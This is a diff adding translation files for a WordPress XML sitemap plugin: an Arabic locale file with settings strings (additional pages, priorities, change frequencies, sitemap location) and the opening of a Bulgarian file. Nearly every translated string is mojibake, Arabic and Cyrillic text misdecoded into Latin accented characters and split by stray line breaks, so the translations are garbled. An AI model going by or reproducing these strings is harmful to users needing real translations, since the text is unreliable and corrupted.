+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:805
+msgid "Build the sitemap in a background process (You don't have to wait when you save a post)"
+msgstr "ØšÙØ§Ø¡ Ø®Ø±ÙØ·Ø© Ø§ÙÙ
+ÙÙØ¹ ÙÙ ÙÙ Ù
+Ø±Ø© ÙÙ Ø§ÙØ®ÙÙÙØ© (ÙÙÙ ÙØ§ ÙØ£Ø®Ø± Ø¹Ù
+ÙÙØ© Ø­ÙØž Ø§ÙØªØ¯ÙÙÙØ§Øª)"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:806
+msgid "Upgrade WordPress at least to 2.1 to enable background building"
+msgstr "ÙØ¬Øš ØªØ­Ø¯ÙØ« Ø§ÙÙ
+Ø¯ÙÙØ© ÙØ¥ØµØ¯Ø§Ø±Ø© 2.1 Ø¹ÙÙ Ø§ÙØ£ÙÙ ÙØªÙØ¹ÙÙ Ø§ÙØ¹Ù
+Ù ÙÙ Ø§ÙØ®ÙÙÙØ©"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:813
+msgid "Additional pages"
+msgstr "ØµÙØ­Ø§Øª Ø¥Ø¶Ø§ÙÙØ©"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:816
+msgid "Here you can specify files or URLs which should be included in the sitemap, but do not belong to your Blog/WordPress.<br />For example, if your domain is www.foo.com and your blog is located on www.foo.com/blog you might want to include your homepage at www.foo.com"
+msgstr "ÙÙØ§ ÙÙ
+ÙÙÙ ØªØ¶Ù
+ÙÙ Ø§ÙÙ
+ÙÙØ§Øª Ù Ø§ÙØ±ÙØ§ØšØ· Ø§ÙØªÙ ÙØ¬Øš Ø£Ù ÙØªÙ
+ ØªØ¶Ù
+ÙÙÙØ§ ÙÙ Ø®Ø±ÙØ·Ø© Ø§ÙÙ
+ÙÙØ¹Ø ÙÙÙÙØ§ ÙØ§ ØªØªØšØ¹ ÙÙØ±Ø¯ØšØ±ÙØ³ .<br />Ø¹ÙÙ Ø³ØšÙÙ Ø§ÙÙ
+Ø«Ø§ÙØ Ø¥Ø°Ø§ ÙØ§Ù ÙØ·Ø§Ù Ù
+ÙÙØ¹Ù www.foo.com Ù Ù
+Ø¯ÙÙØªÙ Ù
+ÙØ¬ÙØ¯Ø© ÙÙ www.foo.com/blog Ø£ÙØª ÙØ¯ ØªØ±ÙØ¯ ØªØ¶Ù
+ÙÙ Ø§ÙØµÙØ­Ø© Ø§ÙØ±ØŠÙØ³ÙØ© ÙÙ
+ÙÙØ¹Ù ÙÙ www.foo.com."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:818
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:997
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1011
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1020
+msgid "Note"
+msgstr "ØªÙØšÙÙ"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:819
+msgid "If your blog is in a subdirectory and you want to add pages which are NOT in the blog directory or beneath, you MUST place your sitemap file in the root directory (Look at the &quot;Location of your sitemap file&quot; section on this page)!"
+msgstr "Ø¥Ø°Ø§ ÙØ§ÙØª Ù
+Ø¯ÙÙØªÙ ÙÙ Ù
+Ø¬ÙØ¯ ÙØ±Ø¹Ù Ù Ø£Ø±Ø¯Øª Ø¥Ø¶Ø§ÙØ© ØµÙØ­Ø§Øª Ø®Ø§Ø±Ø¬ Ù
+Ø¬ÙØ¯ Ù
+Ø¯ÙÙØªÙØ ÙØ¬Øš Ø¹ÙÙÙ ÙØ¶Ø¹ Ù
+ÙÙ Ø®Ø±ÙØ·Ø© Ù
+ÙÙØ¹Ù ÙÙ Ø§ÙÙ
+Ø¬ÙØ¯ Ø§ÙØ±ØŠÙØ³Ù ÙÙ
+ÙÙØ¹Ù (Ø§ÙØžØ± ÙØ³Ù
+ &quot;Ù
+ÙØ§Ù Ù
+ÙÙ Ø®Ø±ÙØ·Ø© Ù
+ÙÙØ¹Ù&quot; ÙÙ ÙØ°Ù Ø§ÙØµÙØ­Ø©)"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:821
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:860
+msgid "URL to the page"
+msgstr "Ø±Ø§ØšØ· Ø§ÙØµÙØ­Ø©"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:822
+msgid "Enter the URL to the page. Examples: http://www.foo.com/index.html or www.foo.com/home "
+msgstr "Ø¶Ø¹ Ø±Ø§ØšØ· Ø§ÙØµÙØ­Ø© Ø Ù
+Ø«ÙØ§Ù : http://www.foo.com/index.html Ø£Ù www.foo.com/home ."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:824
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:861
+msgid "Priority"
+msgstr "Ø§ÙØ£ÙØ¶ÙÙØ©"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:825
+msgid "Choose the priority of the page relative to the other pages. For example, your homepage might have a higher priority than your imprint."
+msgstr "Ø¥Ø®ØªØ± Ø£ÙØ¶ÙÙØ© Ø§ÙØµÙØ­Ø© ÙØ³ØšØ© Ø¥ÙÙ Ø§ÙØµÙØ­Ø§Øª Ø§ÙØ£Ø®Ø±Ù Ø Ø¹ÙÙ Ø³ØšÙÙ Ø§ÙÙ
+Ø«Ø§Ù Ø ØµÙØ­ØªÙ Ø§ÙØ±ØŠÙØ³ÙØ© ÙØ±ØšÙÙ
+Ø§ ÙÙÙÙ ÙÙØ§ Ø£ÙØ¶ÙÙØ© Ø£Ø¹ÙÙ Ù
+Ù Ø³ÙØ±ØªÙ Ø§ÙØ°Ø§ØªÙØ© ."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:827
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:863
+msgid "Last Changed"
+msgstr "Ø¢Ø®Ø± ØªØ¹Ø¯ÙÙ"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:828
+msgid "Enter the date of the last change as YYYY-MM-DD (2005-12-31 for example) (optional)."
+msgstr "Ø¶Ø¹ ØªØ§Ø±ÙØ® Ø¢Ø®Ø± ØªØ¹Ø¯ÙÙ ÙÙ YYYY-MM-DD (Ù
+Ø«ÙØ§Ù : 2005-12-31) (Ø§Ø®ØªÙØ§Ø±Ù) ."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:862
+msgid "Change Frequency"
+msgstr "ÙØªØ±Ø© Ø§ÙØªØ­Ø¯ÙØ«"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:864
+msgid "#"
+msgstr "#"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:869
+msgid "No pages defined."
+msgstr "ÙØ§ ÙÙØ¬Ø¯ ØµÙØ­Ø§Øª Ù
+Ø¶Ø§ÙØ© ."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:874
+msgid "Add new page"
+msgstr "Ø£Ø¶Ù ØµÙØ­Ø© Ø¬Ø¯ÙØ¯Ø©"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:879
+msgid "Post Priority"
+msgstr "Ø§ÙØ£ÙØ¶ÙÙØ©"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3329
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:881
+msgid "Please select how the priority of each post should be calculated:"
+msgstr "Ø§ÙØ±Ø¬Ø§Ø¡ Ø§Ø®ØªÙØ§Ø± Ù
+Ø¯Ù Ø£ÙÙÙÙØ© ÙÙ ØªØ¯ÙÙÙØ© :"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3331
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:883
+msgid "Do not use automatic priority calculation"
+msgstr "ÙØ§ ØªØ³ØªØ®Ø¯Ù
+ Ø­Ø³Ø§Øš Ø§ÙØ£ÙÙÙÙØ© ØªÙÙØ§ØŠÙØ§"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3331
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:883
+msgid "All posts will have the same priority which is defined in &quot;Priorities&quot;"
+msgstr "ÙÙ Ø§ÙÙ
+ÙØ§Ø¶ÙØ¹ ØªØ­Ù
+Ù ÙÙØ³ Ø§ÙØ£ÙÙÙÙØ© Ø§ÙØªÙ ØªÙ
+ ØªØ­Ø¯ÙØ¯ÙØ§ ÙÙ &quot;Ø§ÙØ£ÙÙÙÙØ§Øª&quot;"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:894
+msgid "Location of your sitemap file"
+msgstr "Ù
+ÙØ§Ù Ù
+ÙÙ Ø®Ø±ÙØ·Ø© Ù
+ÙÙØ¹Ù"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:897
+msgid "Automatic detection"
+msgstr "Ø§ÙÙØŽÙ Ø§ÙØ¢ÙÙ"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:901
+msgid "Filename of the sitemap file"
+msgstr "Ø§Ø³Ù
+ Ù
+ÙÙ Ø®Ø±ÙØ·Ø© Ø§ÙÙ
+ÙÙØ¹:"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:904
+msgid "Detected Path"
+msgstr "Ù
+Ø³Ø§Ø± Ø§ÙÙ
+ÙÙ"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:904
+msgid "Detected URL"
+msgstr "Ø±Ø§ØšØ· Ø§ÙÙ
+ÙÙ"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:909
+msgid "Custom location"
+msgstr "Ù
+Ø³Ø§Ø± Ù
+Ø®ØµØµ"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:913
+msgid "Absolute or relative path to the sitemap file, including name."
+msgstr "Ø§ÙÙ
+Ø³Ø§Ø± Ø§ÙÙØ§Ù
+Ù ÙÙ
+ÙÙ Ø®Ø±ÙØ·Ø© Ø§ÙÙ
+ÙÙØ¹."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:915
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:924
+msgid "Example"
+msgstr "Ù
+Ø«Ø§Ù"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:922
+msgid "Complete URL to the sitemap file, including name."
+msgstr "Ø§ÙØ±Ø§ØšØ· Ø§ÙÙØ§Ù
+Ù ÙÙ
+ÙÙ Ø®Ø±ÙØ·Ø© Ø§ÙÙ
+ÙÙØ¹."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:935
+msgid "Sitemap Content"
+msgstr "Ù
+Ø­ØªÙÙ Ø®Ø±ÙØ·Ø© Ø§ÙÙ
+ÙÙØ¹"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:941
+msgid "Include homepage"
+msgstr "ØªØ¶Ù
+ÙÙ Ø§ÙØµÙØ­Ø© Ø§ÙØ±ØŠÙØ³ÙØ©"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:947
+msgid "Include posts"
+msgstr "ØªØ¶Ù
+ÙÙ Ø§ÙØªØ¯ÙÙÙØ§Øª"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:953
+msgid "Include following pages of multi-page posts (Increases build time and memory usage!)"
+msgstr "Ø¥Ø¯Ø±Ø§Ø¬ Ø§ÙØµÙØ­Ø§Øª Ø§ÙØªØ§ØšØ¹Ø© ÙÙÙ
+ÙØ§Ø¶ÙØ¹ Ù
+ØªØ¹Ø¯Ø¯Ø© Ø§ÙØµÙØ­Ø§Øª (ÙØ²ÙØ¯ ÙÙ Ù
+Ø¯Ø© Ø¥ÙØŽØ§Ø¡ Ø§ÙØ®ÙØ±Ø·Ø© ÙÙÙ
+ÙØ© Ø§ÙØ°Ø§ÙØ±Ø© Ø§ÙÙ
+Ø³ØªØ®Ø¯Ù
+Ø©)"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:959
+msgid "Include static pages"
+msgstr "ØªØ¶Ù
+ÙÙ Ø§ÙØµÙØ­Ø§Øª"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:965
+msgid "Include categories"
+msgstr "ØªØ¶Ù
+ÙÙ Ø§ÙØªØµÙÙÙØ§Øª"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:971
+msgid "Include archives"
+msgstr "ØªØ¶Ù
+ÙÙ Ø§ÙØ£Ø±ØŽÙÙ"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:978
+msgid "Include tag pages"
+msgstr "ØªØ¶Ù
+ÙÙ ØµÙØ­Ø§Øª Ø§ÙØªØ§Ø¬Ø§Øª"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:985
+msgid "Include author pages"
+msgstr "ØªØ¶Ù
+ÙÙ ØµÙØ­Ø§Øª Ø§ÙÙØªØ§Øš"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:993
+msgid "Excluded items"
+msgstr "Ø§Ø³ØªØšØ¹Ø§Ø¯ Ø¹ÙØ§ØµØ±"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:995
+msgid "Excluded categories"
+msgstr "Ø§Ø³ØªØšØ¹Ø§Ø¯ Ø§ÙØªØµÙÙÙØ§Øª"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:997
+msgid "Using this feature will increase build time and memory usage!"
+msgstr "ØšØ§Ø³ØªØ®Ø¯Ø§Ù
+ ÙØ°Ù Ø§ÙÙ
+ÙØ²Ø© Ø³ÙÙ ØªØ²ÙØ¯ Ù
+Ù ÙÙØª Ø§ÙØ£ÙØŽØ§Ø¡ ÙØ§Ø³ØªØ®Ø¯Ø§Ù
+ Ø°Ø§ÙØ±Ø© Ø§ÙØšØ±!"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1004
+#, php-format
+msgid "This feature requires at least WordPress 2.5.1, you are using %s"
+msgstr "ÙØ°Ù Ø§ÙØ®Ø§ØµÙØ© ØªØ­ØªØ§Ø¬ ÙÙØ³Ø®Ø© ÙØ±Ø¯ØšØ±ÙØ³ 2.5.1, Ø£ÙØª ØªØ³ØªØ®Ø¯Ù
+ %s"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1007
+msgid "Exclude posts"
+msgstr "Ø§Ø³ØªØšØ¹Ø§Ø¯ Ø§ÙØªØ¯ÙÙÙØ§Øª"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3206
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1009
+msgid "Exclude the following posts or pages:"
+msgstr "Ø£Ø³ØªØšØ¹Ø§Ø¯ Ø§ÙØªØ¯ÙÙÙØ§Øª Ø§Ù Ø§ÙÙ
+ÙØ§Ø¶ÙØ¹ Ø§ÙØ£ØªÙØ©:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3206
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1009
+msgid "List of IDs, separated by comma"
+msgstr "Ø¶Ø¹ Ø§ÙØ£Ø±ÙØ§Ù
+ IDs, ÙØ£ÙØµÙ ØšÙÙÙÙ
+ ØšÙÙÙ
+Ø© Ø§ÙØ¬ÙÙØ²ÙØ©"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1011
+msgid "Child posts won't be excluded automatically!"
+msgstr "Ø§ÙÙ
+ÙØ§Ø¶ÙØ¹ Ø§ÙØªØ§ØšØ¹Ø© ÙÙ ØªØ³ØªØšØ¹Ø¯ ØªÙÙØ§ØŠÙØ§!"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1017
+msgid "Change frequencies"
+msgstr "ÙØªØ±Ø© Ø§ÙØªØ­Ø¯ÙØ«"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1021
+msgid "Please note that the value of this tag is considered a hint and not a command. Even though search engine crawlers consider this information when making decisions, they may crawl pages marked \"hourly\" less frequently than that, and they may crawl pages marked \"yearly\" more frequently than that. It is also likely that crawlers will periodically crawl pages marked \"never\" so that they can handle unexpected changes to those pages."
+msgstr "Ø±Ø¬Ø§Ø¡ ÙØ§Ø­Øž ØšØ£ÙÙ ÙÙÙ
+Ø© ÙØ°Ù Ø§ÙØ®Ø§ØµÙØ© ÙÙ ØªÙÙ
+ÙØ­ Ù
+Ø¹ØªØšØ± Ù ÙÙØ³ Ø¥Ø¬ØšØ§Ø±ÙØ§Ù . ØšØ§ÙØ±ØºÙ
+ Ù
+Ù Ø£ÙÙ Ù
+Ø­Ø±ÙØ§Øª Ø§ÙØšØ­Ø« ØªÙØ±Ø£ ÙØ°Ù Ø§ÙØ®Ø§ØµÙØ© Ø¹ÙØ¯Ù
+Ø§ ØªØšØ­Ø« Ø ÙÙ ÙØ¯ ØªÙØ­Øµ Ø§ÙØµÙØ­Ø§Øª Ø§ÙØªÙ Ø£ØŽÙØ±Øª \"ÙÙ Ø³Ø§Ø¹Ø©\" Ø£ÙÙ ÙØ«ÙØ±Ø§ Ù
+Ù Ø°ÙÙ Ø  ÙÙÙ ÙØ¯ ØªÙØ­Øµ Ø§ÙØµÙØ­Ø§Øª Ø§ÙØªÙ Ø£ØŽÙØ±Øª \"Ø³ÙÙÙØ§Ù\" Ø£ÙØ«Ø± Ù
+Ù Ø°ÙÙ . ÙÙ Ø£ÙØ¶Ø§ Ù
+Ù Ø§ÙÙ
+Ø­ØªÙ
+Ù ØªÙØ­Øµ Ø§ÙØµÙØ­Ø§Øª Ø§ÙØªÙ Ø£ØŽÙØ±Øª \"Ø£ØšØ¯Ø§Ù\" ØšØŽÙÙ Ø¯ÙØ±Ù ÙÙÙ ÙÙ
+ ÙÙ
+ÙÙ Ø£Ù ÙØ¹Ø§ÙØ¬ÙØ§ Ø§ÙØªØºÙÙØ±Ø§Øª Ø§ÙØºÙØ± Ø§ÙÙ
+ØªÙÙÙØ¹Ø© ÙÙ ØªÙÙ Ø§ÙØµÙØ­Ø§Øª ."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1027
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1084
+msgid "Homepage"
+msgstr "Ø§ÙØµÙØ­Ø© Ø§ÙØ±ØŠÙØ³ÙØ©"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1033
+msgid "Posts"
+msgstr "Ø§ÙØªØ¯ÙÙÙØ§Øª"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1039
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1102
+msgid "Static pages"
+msgstr "Ø§ÙØµÙØ­Ø§Øª"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1045
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1108
+msgid "Categories"
+msgstr "Ø§ÙØªØµÙÙÙØ§Øª"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1051
+msgid "The current archive of this month (Should be the same like your homepage)"
+msgstr "Ø£Ø±ØŽÙÙ Ø§ÙØŽÙØ± Ø§ÙØ­Ø§ÙÙ (ÙÙØ¶Ù Ø£Ù ÙÙÙÙ Ù
+Ø«Ù Ø§ÙØµÙØ­Ø© Ø§ÙØ±ØŠÙØ³ÙØ©)"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1057
+msgid "Older archives (Changes only if you edit an old post)"
+msgstr "Ø§ÙØ£Ø±ØŽÙÙ Ø§ÙØ³Ø§ØšÙ (ÙØªØºÙØ± Ø¹ÙØ¯Ù
+Ø§ ØªØ­Ø±Ø± ØªØ¯ÙÙÙØ© ÙØ¯ÙÙ
+Ø© ÙÙØ·)"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1064
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1121
+msgid "Tag pages"
+msgstr "ØµÙØ­Ø§Øª Ø§ÙØªØ§Ø¬Ø§Øª"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1071
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1128
+msgid "Author pages"
+msgstr "ØµÙØ­Ø§Øª Ø§ÙÙ
+Ø€ÙÙÙÙ"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1079
+msgid "Priorities"
+msgstr "Ø§ÙØ£ÙØ¶ÙÙØ§Øª"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1090
+msgid "Posts (If auto calculation is disabled)"
+msgstr "Ø§ÙØªØ¯ÙÙÙØ§Øª (Ø¥Ø°Ø§ ÙØ§Ù Ø§ÙØ­Ø³Ø§Øš Ø§ÙØ¢ÙÙ ØºÙØ± Ù
+ÙØ¹Ù)"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1096
+msgid "Minimum post priority (Even if auto calculation is enabled)"
+msgstr "Ø£ÙØ¶ÙÙØ© Ø§ÙØªØ¯ÙÙÙØ© Ø§ÙØ¯ÙÙØ§ (Ø­ØªÙ Ø¥Ø°Ø§ ÙØ§Ù Ø§ÙØ­Ø³Ø§Øš Ø§ÙØ¢ÙÙ Ù
+ÙØ¹Ù)"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1114
+msgid "Archives"
+msgstr "Ø§ÙØ£Ø±ØŽÙÙ"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1139
+msgid "Update options"
+msgstr "ØªØ­Ø¯ÙØ« Ø§ÙØ¥Ø¹Ø¯Ø§Ø¯Ø§Øª"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1140
+msgid "Reset options"
+msgstr "ØªØµÙÙØ± Ø§ÙØ¥Ø¹Ø¯Ø§Ø¯Ø§Øª"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap.php:84
+msgid "XML-Sitemap Generator"
+msgstr "ØµØ§ÙØ¹ Ø®Ø±ÙØ·Ø© Ø§ÙÙ
+ÙÙØ¹"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap.php:84
+msgid "XML-Sitemap"
+msgstr "Ø®Ø±ÙØ·Ø© Ø§ÙÙ
+ÙÙØ¹"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap.php:142
+msgid "Sitemap FAQ"
+msgstr "Ø§ÙØ£Ø³ØŠÙØ© Ø§ÙØŽØ§ØŠØ¹Ø© Ø¹Ù Ø®Ø±ÙØ·Ø© Ø§ÙÙ
+ÙÙØ¹"
+
+#~ msgid "Manual location"
+#~ msgstr "ØªØ­Ø¯ÙØ¯ Ø§ÙØ±Ø§ØšØ· ÙØ¯ÙÙØ§Ù"
+#~ msgid "OR"
+#~ msgstr "Ø£Ù"
+#~ msgid "Error"
+#~ msgstr "Ø­ØµÙ Ø®Ø·Ø£"
+#~ msgid ""
+#~ "A new page was added. Click on &quot;Save page changes&quot; to save your "
+#~ "changes."
+#~ msgstr ""
+#~ "ØªÙ
+ Ø¥Ø¶Ø§ÙØ© ØµÙØ­Ø© Ø¬Ø¯ÙØ¯Ø© Ø Ø¥Ø¶ØºØ· Ø¹ÙÙ Ø²Ø± &quotØ­ÙØž ØªØºÙÙØ±Ø§Øª Ø§ÙØµÙØ­Ø§Øª&quot; ÙØ­ÙØž "
+#~ "ØªØºÙÙØ±Ø§ØªÙ ."
+#~ msgid ""
+#~ "The page was deleted. Click on &quot;Save page changes&quot; to save your "
+#~ "changes."
+#~ msgstr "ØªÙ
+ Ø­Ø°Ù Ø§ÙØµÙØ­Ø© ."
+#~ msgid "You changes have been cleared."
+#~ msgstr "ØªÙ
+ Ø¥ÙØºØ§Ø¡ ØªØºÙÙØ±Ø§ØªÙ ."
+#~ msgid "Manual rebuild"
+#~ msgstr "Ø¥ÙØŽØ§Ø¡ Ø®Ø±ÙØ·Ø© Ø§ÙÙ
+ÙÙØ¹ ÙØ¯ÙÙØ§Ù"
+#~ msgid ""
+#~ "If you want to build the sitemap without editing a post, click on here!"
+#~ msgstr ""
+#~ "Ø¥Ø°Ø§ ÙÙØª ØªØ±ÙØ¯ Ø¥ÙØŽØ§Ø¡ Ø®Ø±ÙØ·Ø© Ø§ÙÙ
+ÙÙØ¹ ØšØ¯ÙÙ ØªØ¹Ø¯ÙÙ ØªØ¯ÙÙÙØ© Ø Ø¥Ø¶ØºØ· Ø¹ÙÙ Ø§ÙØ²Ø± Ø§ÙØªØ§ÙÙ :"
+#~ msgid "Rebuild Sitemap"
+#~ msgstr "Ø¥Ø¹Ø§Ø¯Ø© Ø¥ÙØŽØ§Ø¡ Ø®Ø±ÙØ·Ø© Ø§ÙÙ
+ÙÙØ¹"
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/lang/sitemap-bg_BG.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/lang/sitemap-bg_BG.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/lang/sitemap-bg_BG.po	(revision 44)
@@ -0,0 +1,845 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: sitemap 3.1.1\n"
+"POT-Creation-Date: \n"
+"PO-Revision-Date: 2009-03-02 13:53+0200\n"
+"Last-Translator: Alexander Dichev <http://dichev.com/contact/>\n"
+"Language-Team: Alexander Dichev <http://dichev.com/contact/>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=utf-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-Language: Bulgarian\n"
+"X-Poedit-Country: BULGARIA\n"
+"X-Poedit-SourceCharset: utf-8\n"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:642
+msgid "Comment Count"
+msgstr "ÐÑÐŸÐ¹ ÐÐŸÐŒÐµÐœÑÐ°ÑÐž"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:654
+msgid "Uses the number of comments of the post to calculate the priority"
+msgstr "ÐÐ·Ð¿ÐŸÐ»Ð·Ð²Ð° Ð±ÑÐŸÑ ÐœÐ° ÐºÐŸÐŒÐµÐœÑÐ°ÑÐžÑÐµ Ð¿ÑÐž ÐºÐ°Ð»ÐºÑÐ»ÐžÑÐ°ÐœÐµ ÐœÐ° Ð¿ÑÐžÐŸÑÐžÑÐµÑÐ° ÐœÐ° Ð¿ÐŸÑÑÐ°"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:714
+msgid "Comment Average"
+msgstr "ÐÐŸÐŒÐµÐœÑÐ°ÑÐž Ð¡ÑÐµÐŽÐœÐŸ"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:726
+msgid "Uses the average comment count to calculate the priority"
+msgstr "ÐÐ·Ð¿ÐŸÐ»Ð·Ð²Ð° ÑÑÐµÐŽÐœÐžÑ Ð±ÑÐŸÐ¹ ÐœÐ° ÐºÐŸÐŒÐµÐœÑÐ°ÑÐžÑÐµ Ð¿ÑÐž ÐºÐ°Ð»ÐºÑÐ»ÐžÑÐ°ÐœÐµ ÐœÐ° Ð¿ÑÐžÐŸÑÐžÑÐµÑÐ°"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:789
+msgid "Popularity Contest"
+msgstr "Popularity Contest"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:801
+msgid "Uses the activated <a href=\"%1\">Popularity Contest Plugin</a> from <a href=\"%2\">Alex King</a>. See <a href=\"%3\">Settings</a> and <a href=\"%4\">Most Popular Posts</a>"
